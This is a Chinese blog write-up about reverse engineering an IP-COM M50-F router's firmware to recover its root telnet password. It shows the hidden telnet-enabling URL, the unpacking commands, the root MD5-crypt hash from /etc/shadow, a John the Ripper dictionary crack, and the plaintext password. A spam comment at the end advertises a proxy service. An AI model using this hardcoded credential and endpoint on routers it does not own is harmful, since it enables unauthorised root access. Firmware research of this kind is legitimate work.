逆向工程 1299 1

    逆向工程之IP-COM M50-F telnet 密码破解

    01. 背景 & 痛点

    家里原来用的是旧款 M50,看到IP-COM发布了新款 M50-F 带 2.5G WAN 口,就从国内经销商入手。
    上手后最奇怪的是:WAN VLAN(或 ISP Type)不见了。

    • 官方下载页:

      • 国际版:https://www.ip-com.com.cn/en/download/detail-1234.html
      • 中国版:https://www.ip-com.com.cn/download/detail-1163.html
        说明书里明确写了国际版有 ISP Type(可设 Internet VLAN / IPTV VLAN),但实际 UI 没有。
    • VLAN 菜单只有 LAN 内网 VLAN没有 WAN 的 VLAN

    联系客服后被告知:这是工程样机功能可能不完整。随后安排了中国工程师远程桌面操作,在浏览器敲了一个隐藏 debug 入口

    http://192.168.0.252/goform/telnet

    页面返回 “load telnetd success.”

    随后工程师直接登录了账号,用户名是root(线索1),但是密码看不到,因为密码是被隐藏的了,导致我后续想要自己登录进去看看却看不了。

    工程师在后台设置了 vendor 相关参数并重启,UI 立刻出现 ISP Type/VLAN

    至此我判断:WAN VLAN 是存在的,只是被隐藏开关控制;而工程师使用了某个 root 凭据厂商后门参数 完成了操作。


    02. 研究路径:从固件里找证据

    目标: 找到认证逻辑、确认 root 密码来源。

    2.1 解包思路总览

    1. 从官网把 US_M50-FV1.0si_V16.01.12.24(4117)_CN&EN_C01&E01.bin 下载下来
    2. binwalk -B firmware.bin → 发现 UBI(NAND 用)
    3. dd 切出 UBI 段 → ubireader_display_info / ubireader_extract_images
    4. 得到 rootfs.ubifsbinwalk 显示 SquashFS v4(xz 压缩)
    5. unsquashfs 解出 squashfs-root/ → 浏览 /webroot(_ro)/etc//usr/sbin/

    2.2 可复制命令(Linux/WSL)

    # 识别固件结构(举例文件名)
    binwalk -B 'US_M50-FV1.0si_V16.01.12.24(4117)_CN&EN_C01&E01.bin'
    
    # 按偏移切出 UBI 段(以 binwalk 输出的 offset 为准,这里示例 1048640)
    dd if='US_M50-FV1.0si_V16.01.12.24(4117)_CN&EN_C01&E01.bin' of=firmware.ubi bs=1 skip=1048640
    
    # 安装 UBI Reader(pip 版)
    pip3 install ubi-reader
    
    # 查看 UBI 卷
    ubireader_display_info firmware.ubi
    
    # 提取卷镜像
    ubireader_extract_images firmware.ubi
    
    # 在 *.ubifs 上继续识别(确认是否 SquashFS)
    binwalk ubifs-root/firmware.ubi/img-*/img-*_vol-rootfs.ubifs
    
    # 提取 SquashFS(xz)
    unsquashfs ubifs-root/firmware.ubi/img-*/img-*_vol-rootfs.ubifs
    
    # 进入根文件系统
    cd squashfs-root
    ls

    得到的目录大致如下:

    bin  cfg  cfg_bak  etc  etc_ro  usr  sbin  webroot  webroot_ro ...

    2.4 定位敏感信息(VSCode 全局搜索)

    我把解包后的 squashfs-root/ 导出到电脑,用 VSCode 的全局搜索 做关键信息检索:

    - 关键词:root / goform / telnet / telnetd / admin / passwd / shadow / wan4VlanEn / vlan
    - 重点目录:webroot(_ro)/、etc(_ro)/、usr/sbin/、bin/、sbin/

    在此过程中我定位到了 /etc/shadow,发现如下哈希:

    root:$1$OVhtCyFa$7tISyKW1KGssHAQj1vI3i1:14319::::::

    — 这是 MD5‑crypt($1$)+ 盐 的哈希,仅凭字符串无法直接得出明文,需要离线验证。

    2.5 离线验证口令(使用 rockyou.txt,已跑出明文)

    我按以下步骤进行了 字典攻击

    # 准备 hash
    echo '$1$OVhtCyFa$7tISyKW1KGssHAQj1vI3i1' > hash.txt
    
    # 下载常用字典并运行 John
    auto_wordlist=/usr/share/wordlists/rockyou.txt
    sudo mkdir -p /usr/share/wordlists && cd /usr/share/wordlists
    sudo wget -q https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
    cd -
    
    john --format=md5crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
    john --show hash.txt

    结果:明文密码为 Fireitup

    仅供研究,请勿在未授权设备上尝试。

    03. 结语

    这次折腾再次印证:同一型号,不同批次/地区固件差异巨大
    从“没有 WAN VLAN”到“通过隐藏入口开启 telnet,再到 UI 放出选项”,功能并非缺失,而是被某些开关、厂商参数或认证链路“藏”了起来。

    如果你也遇到类似情况,可以沿用我的解包与排查路径;

    免责声明 / Disclaimer

    • 本文所有操作均在离线靶场隔离网络环境下完成,且仅针对本人自有或经明确授权的设备;不会、也不应在生产网络、第三方设备或公共基础设施上尝试。
    • 研究目的仅为学习、学术与安全加固,不构成对任何产品的攻击、破坏或规避授权的建议;本文不鼓励也不支持未授权访问。
    • 读者须确保遵守所在地法律法规及厂商条款,任何复现行为的风险与后果由实施者自负。
    • 建议在不影响保固与合规的前提下操作,必要时优先联系官方支持。
    Warning: Undefined array key "HTTP_ACCEPT_LANGUAGE" in /app/usr/themes/farallon/comments.php on line 4
    1. sdflkj
      sdflkj
      2026-02-28 21:51

      https://www.newcmy.com/register?aff=HBVX
      建议您试试草莓云机场,可以流畅观看youtube和tiktok,上reddit/x也没有问题,还有各种ai优化节点。